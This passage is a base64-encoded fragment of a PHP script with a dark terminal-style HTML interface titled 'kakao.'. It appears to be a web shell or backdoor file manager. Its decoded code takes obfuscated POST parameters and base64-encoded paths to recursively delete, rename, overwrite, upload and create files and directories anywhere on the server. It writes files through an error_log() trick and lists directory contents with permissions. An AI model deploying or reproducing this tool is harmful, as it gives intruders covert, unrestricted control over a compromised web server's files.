AkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gcnJtZGlyKCIkZGlyLyRmaWxlIikgOiB1bmxpbmsoIiRkaXIvJGZpbGUiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdWNjZXNzID0gcnJtZGlyKCR0YXJnZXQpOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRzdWNjZXNzID8gIkl0ZW0gZGVsZXRlZC4iIDogIkRlbGV0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAyLiBSRU5BTUUNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfUkVOICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSAmJiBpc3NldCgkX1BPU1RbUF9OQU1FXSkpIHsNCiAgICAgICAgJHRhcmdldCA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1BfSEFTSF0pOw0KICAgICAgICAkbmV3X25hbWUgPSBiYXNlbmFtZSgkX1BPU1RbUF9OQU1FXSk7DQogICAgICAgICRkZXN0aW5hdGlvbiA9IGRpcm5hbWUoJHRhcmdldCkgLiAnLycgLiAkbmV3X25hbWU7DQogICAgICAgICRzdWNjZXNzID0gQHJlbmFtZSgkdGFyZ2V0LCAkZGVzdGluYXRpb24pOw0KICAgICAgICByZWRpcmVjdChkaXJuYW1lKCR0YXJnZXQpLCAkc3VjY2VzcyA/ICJSZW5hbWVkIHN1Y2Nlc3NmdWxseS4iIDogIlJlbmFtZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAzLiBTQVZFIEVESVQNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfRURJVCAmJiBpc3NldCgkX1BPU1RbUF9IQVNIXSkgJiYgaXNzZXQoJF9QT1NUW1BfQ09OVF0pKSB7DQogICAgICAgICR0YXJnZXQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX0hBU0hdKTsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbUF9DT05UXTsNCiAgICAgICAgJHRlbXBfZmlsZSA9ICR0YXJnZXQgLiAnLnRtcF8nIC4gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQogICAgICAgICR3cml0ZV9zdWNjZXNzID0gZXJyb3JfbG9nKCRjb250ZW50LCAzLCAkdGVtcF9maWxlKTsNCiAgICAgICAgDQogICAgICAgICRmaW5hbF9zdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmICgkd3JpdGVfc3VjY2Vzcykgew0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRlbXBfZmlsZSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZmluYWxfc3VjY2VzcyA9IHRydWU7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRsb2cgPSAkZmluYWxfc3VjY2VzcyA/ICJFZGl0IHNhdmVkOiAkdGFyZ2V0IiA6ICJFZGl0IGZhaWxlZDogJHRhcmdldCI7DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRmaW5hbF9zdWNjZXNzID8gIkZpbGUgc2F2ZWQiIDogIlNhdmUgZmFpbGVkLiIsICRmaW5hbF9zdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIiwgJGxvZyk7DQogICAgfQ0KICAgIA0KICAgIC8vIDQuIFVQTE9BRA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUW1BfQUNUSU9OXSkgJiYgJF9QT1NUW1BfQUNUSU9OXSA9PT0gQV9VUCkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQoNCiAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsNCiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbUF9GSUxFXSkgJiYgJF9GSUxFU1tQX0ZJTEVdWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbUF9GSUxFXVsnbmFtZSddKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTW1BfRklMRV1bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZGlyIC4gJy8nIC4gJG5hbWUpOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0ZEQVRBXSkgJiYgIWVtcHR5KCRfUE9TVFtQX0ZEQVRBXSkgJiYgaXNzZXQoJF9QT1NUW1BfRk5BTUVdKSkgew0KICAgICAgICAgICAgJGRhdGEgPSAkX1BPU1RbUF9GREFUQV07DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX0ZOQU1FXSk7DQogICAgICAgICAgICBpZiAoYmFzZTY0X2RlY29kZSgkZGF0YSwgdHJ1ZSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBwcmVnX3JlcGxhY2UoJyNeZGF0YTp0ZXh0L1x3KztiYXNlNjQsI2knLCAnJywgJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3VjY2VzcyA9IEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X2RpciAuICcvJyAuICRuYW1lLCAkZGF0YSkgIT09IGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJVcGxvYWQgY29tcGxldGUuIiA6ICJVcGxvYWQgZmFpbGVkLiIsICRzdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIik7DQogICAgfQ0KICAgIA0KICAgIC8vIDUuIE1LRElSDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbUF9BQ1RJT05dKSAmJiAkX1BPU1RbUF9BQ1RJT05dID09PSBBX01LRElSICYmIGlzc2V0KCRfUE9TVFtQX05BTUVdKSkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX05BTUVdKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBAbWtkaXIoJHRhcmdldF9kaXIgLiAnLycgLiAkbmFtZSk7DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJEaXJlY3RvcnkgY3JlYXRlZC4iIDogIkNyZWF0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQp9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyA0LiBGSUxFIFNDQU5OSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogJGZpbGVzID0gYXJyYXkoKTsNCiAkZGlycyA9IGFycmF5KCk7DQoNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkY3VycmVudF9kaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KICAgICAgICANCiAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQogICAgICAgIA0KICAgICAgICAkcGVybXMgPSBpc19maWxlKCRmdWxsX3BhdGgpID8gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpIDogJ2Ryd3gnOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCRmdWxsX3BhdGgpOw0KICAgICAgICAkbW9kX3RpbWUgPSBkYXRlKCdNIGQgSDppJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgJGhhc2ggPSBnZXRfaGFzaCgkZnVsbF9wYXRoKTsNCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkZnVsbF9wYXRoKTsNCg0KICAgICAgICAkaXRlbSA9IGFycmF5KA0KICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICdwZXJtcycgPT4gJHBlcm1zLA0KICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgJ21vZCcgPT4gJG1vZF90aW1lLA0KICAgICAgICAgICAgJ2hhc2gnID0+ICRoYXNoLA0KICAgICAgICAgICAgJ2lzX2RpcicgPT4gJGlzX2Rpcg0KICAgICAgICApOw0KDQogICAgICAgIGlmICgkaXNfZGlyKSB7DQogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KfQ0KDQp1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAkYWxsX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoNCiAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGN1cnJlbnRfZGlyKTsNCiAkY2FuX2dvX3VwID0gKCRwYXJlbnRfZGlyICE9PSAkY3VycmVudF9kaXIpOw0KDQpmdW5jdGlvbiBmb3JtYXRfc2l6ZSgkYnl0ZXMpIHsNCiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJ00nOw0KICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAnSyc7DQogICAgcmV0dXJuICRieXRlcyAuICdCJzsNCn0NCg0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+a2FrYW8uPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIDpyb290IHsNCiAgICAgICAgICAgIC0tYmctZGFyazogIzFlMWExNzsNCiAgICAgICAgICAgIC0tYmctcGFuZWw6ICMyYTI0MWY7DQogICAgICAgICAgICAtLWJnLWlucHV0OiAjMTUxMjEwOw0KICAgICAgICAgICAgLS10ZXh0LW1haW46ICNlNmQzYjM7DQogICAgICAgICAgICAtLXRleHQtZGltOiAjOGE4MDc1Ow0KICAgICAgICAgICAgLS1hY2NlbnQ6ICNjODliNmQ7DQogICAgICAgICAgICAtLWJvcmRlcjogIzNlMzUyZTsNCiAgICAgICAgICAgIC0tdGVybWluYWwtZm9udDogJ0NvdXJpZXIgTmV3JywgQ291cmllciwgbW9ub3NwYWNlOw0KICAgICAgICAgICAgLS1zdWNjZXNzOiAjN2VjODczOyAvKiBNdXRlZCBHcmVlbiAqLw0KICAgICAgICAgICAgLS1lcnJvcjogI2ZmNWY1NjsgICAvKiBSZWQgKi8NCiAgICAgICAgfQ0KDQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQoNCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOw0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLXdpbmRvdyB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1wYW5lbCk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICBoZWlnaHQ6IDg1dmg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICB9DQoNCiAgICAgICAgLyogVG9wIEJhciAqLw0KICAgICAgICAudG9wLWJhciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC53aW5kb3ctY29udHJvbHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgfQ0KICAgICAgICAuY29udHJvbC1kb3QgeyB3aWR0aDogMTJweDsgaGVpZ2h0OiAxMnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IH0NCiAgICAgICAgLnJlZCB7IGJhY2tncm91bmQtY29sb3I6ICNmZjVmNTY7IH0NCiAgICAgICAgLnllbGxvdyB7IGJhY2tncm91bmQtY29sb3I6ICNmZmJkMmU7IH0NCiAgICAgICAgLmdyZWVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzI3YzkzZjsgfQ0KDQogICAgICAgIC5uYXYtYXJlYSB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXg6IDE7IG1hcmdpbjogMCAxNXB4OyB9DQoNCiAgICAgICAgLmJ0bi11cCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbnB1dCk7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OyBtYXJnaW4tcmlnaHQ6IDEwcHg7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOyBmb250LXNpemU6IDEycHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAuYnRuLXVwOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAuYnRuLXVwLmRpc2FibGVkIHsgb3BhY2l0eTogMC4zOyBwb2ludGVyLWV2ZW50czogbm9uZTsgfQ0KDQogICAgICAgIC5wYXRoLWRpc3BsYXkgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctaW5wdXQpOw0KICAgICAgICAgICAgcGFkZGluZzogMnB4IDhweDsgYm9yZGVyLXJhZGl1czogM3B4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBmbGV4OiAxOyB3aGl0ZS1zcGFjZTogbm93cmFwOyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsNCiAgICAgICAgfQ0KDQogICAgICAgIC8qIE1haW4gQ29udGVudCAqLw0KICAgICAgICAubWFpbi1jb250ZW50IHsgZmxleDogMTsgb3ZlcmZsb3cteTogYXV0bzsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIC8qIFN0YXR1cyBNZXNzYWdlIChUZXJtaW5hbCBTdHlsZSkgKi8NCiAgICAgICAgLmNvbnNvbGUtbXNnIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuY29uc29sZS1tc2cuc3VjY2VzcyB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIC5jb25zb2xlLW1zZy5lcnJvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWVycm9yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1lcnJvcik7DQogICAgICAgIH0NCiAgICAgICAgLmNvbnNvbGUtbXNnOjpiZWZvcmUgew0KICAgICAgICAgICAgY29udGVudDogIj4+ICI7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1yb3cgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgcGFkZGluZzogNHB4IDA7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSg2MiwgNTMsIDQ2LCAwLjUpOw0KICAgICAgICB9DQogICAgICAgIC5maWxlLXJvdzpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjAwLCAxNTUsIDEwOSwgMC4xKTsgfQ0KDQogICAgICAgIC5jb2wtcGVybSB7IHdpZHRoOiA1MHB4OyBjb2xvcjogdmFyKC0tdGV4dC1kaW0pOyB9DQogICAgICAgIC5jb2wtc2l6ZSB7IHdpZHRoOiA4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgcGFkZGluZy1yaWdodDogMTVweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KICAgICAgICAuY29sLWRhdGUgeyB3aWR0aDogMTIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IH0NCiAgICAgICAgLmNvbC1uYW1lIHsgZmxleDogMTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNvbC1hY3Rpb25zIHsgd2lkdGg6IDE4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQ0KDQogICAgICAgIC5pcy1kaXIgLmNvbC1uYW1lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCiAgICAgICAgLmlzLWxpbmsgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBpbmhlcml0OyBkaXNwbGF5OiBibG9jazsgfQ0KICAgICAgICAuaXMtbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQoNCiAgICAgICAgLmNtZC1saW5rIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICB9DQogICAgICAgIC5jbWQtbGluazpob3ZlciB7IGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYmctZGFyayk7IH0NCg0KICAgICAgICAvKiBCb3R0b20gUGFuZWwgKi8NCiAgICAgICAgLmJvdHRvbS1wYW5lbCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgLmNtZC1saW5lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1yaWdodDogNXB4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyB9DQogICAgICAgIC5hY3Rpb24tZm9ybSB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyB3aWR0aDogMTAwJTsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICANCiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLWlucHV0KTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7IHBhZGRpbmc6IDVweDsgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0geyBmbGV4OiAxOyB9DQogICAgICAgIA0KICAgICAgICBidXR0b24gew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYm9yZGVyKTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1hY2NlbnQpOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTJweDsgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIGJ1dHRvbjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHZhcigtLWFjY2VudCk7IGNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgfQ0KDQogICAgICAgIC8qIEdFTkVSSUMgTU9EQUwgU1RZTEUgKi8NCiAgICAgICAgLm1vZGFsLW92ZXJsYXkgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuODUpOyB6LWluZGV4OiA5OTk7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJveCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1wYW5lbCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBtaW4td2lkdGg6IDMwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxNXB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7IGZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC1zaXplOiAxNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsgdGV4dC1hbGlnbjogcmlnaHQ7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7IGdhcDogMTBweDsgfQ0KDQogICAgICAgIC8qIEVkaXRvciBTcGVjaWZpYyAqLw0KICAgICAgICAjZWRpdG9yLW1vZGFsIC5tb2RhbC1ib3ggeyB3aWR0aDogODAlOyBoZWlnaHQ6IDgwJTsgfQ0KICAgICAgICAjZWRpdG9yLWFyZWEgeyBmbGV4OiAxOyByZXNpemU6IG5vbmU7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlucHV0KTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgeyB3aWR0aDogOHB4OyB9DQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1kYXJrKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsgfQ0KDQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC13aW5kb3ciPg0KICAgIDwhLS0gSGVhZGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9InRvcC1iYXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ3aW5kb3ctY29udHJvbHMiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IH